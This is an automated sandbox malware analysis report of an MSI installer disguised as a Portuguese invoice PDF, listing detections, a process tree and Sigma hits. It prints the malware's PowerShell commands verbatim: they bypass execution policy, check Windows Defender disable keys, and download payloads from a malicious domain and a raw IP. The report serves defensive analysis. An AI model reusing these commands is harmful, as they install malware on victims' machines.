Edit tour

Windows Analysis Report
Fatura227Pendente576.pdf674.msi

Overview

General Information

Sample name:	Fatura227Pendente576.pdf674.msi
Analysis ID:	1579251
MD5:	bf51cb1493b515a20316ea9efe033f43
SHA1:	c3b69212ad045089cb75d6f8385dd16df2b17ef8
SHA256:	a49b22353cf3d948186a5b790c37ac69f6cebe94308f4cc8b17ad87a4e8d21bd
Tags:	msiuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected MalDoc

Yara detected Powershell download and execute

AI detected suspicious URL

AI detected suspicious sample

Bypasses PowerShell execution policy

Creates files in the system32 config directory

Loading BitLocker PowerShell Module

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to open files direct via NTFS file id

Checks for available system drives (often done to infect USB drives)

Compiles C# or VB.Net code

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Suspicious MsiExec Embedding Parent

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 4548 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Fatura227Pendente576.pdf674.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 796 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 1440 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding C85DA56207AAF23DFEFCC42BBFF0E5E4 MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 1260 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7348 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2970.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7696 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1956,i,12467281567636265380,10636997337395196544,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 2000 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss3FBB.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 5024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6944 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6568.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2724 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8A88.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3396 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA5E4.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5024 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssD40C.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2656 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssB9B.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5436 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4E65.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7812 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss9AD3.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2596 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1297.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7180 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7584 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 6028 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus # Se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -ne 1 -or $disableAntiVirus -ne 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, executa a tarefa agendada ATD if ($loopCompleted) { Start-ScheduledTask -TaskName 'ATD' Write-Output 'Tarefa agendada ATD executada com sucesso.' } }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7316 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4336 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3812 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware -eq 1 $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus -eq 1 # Se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -eq 1 -and $disableAntiVirus -eq 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopCompleted -and !(Test-Path -Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath -Force Write-Output "Pasta C:\LocalNow criada com sucesso ap s o loop completar." } }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5516 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force | Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4948 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\temp\DownSistem.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6812 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 3716 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 3336 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FB3.tmp" "c:\Users\user\AppData\Local\Temp\CSC1F1FEE1B60354EE49FE3D23A31B1244.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 4464 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File C:\temp\sistema.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 652 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus # Se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -ne 1 -or $disableAntiVirus -ne 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, executa a tarefa agendada ATD if ($loopCompleted) { Start-ScheduledTask -TaskName 'ATD' Write-Output 'Tarefa agendada ATD executada com sucesso.' } }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Fatura227Pendente576.pdf674.msi	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Fatura227Pendente576.pdf674.msi	JoeSecurity_MalDoc	Yara detected MalDoc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Installer\3ffeef.msi	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Windows\Installer\3ffeef.msi	JoeSecurity_MalDoc	Yara detected MalDoc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1260	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_1260.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , CommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding C85DA56207AAF23DFEFCC42BBFF0E5E4, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 1440, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , ProcessId: 1260, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloaded

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , CommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding C85DA56207AAF23DFEFCC42BBFF0E5E4, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 1440, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , ProcessId: 1260, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , CommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding C85DA56207AAF23DFEFCC42BBFF0E5E4, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 1440, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , ProcessId: 1260, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6812, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline", ProcessId: 3716, ProcessName: csc.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloaded

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloaded

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

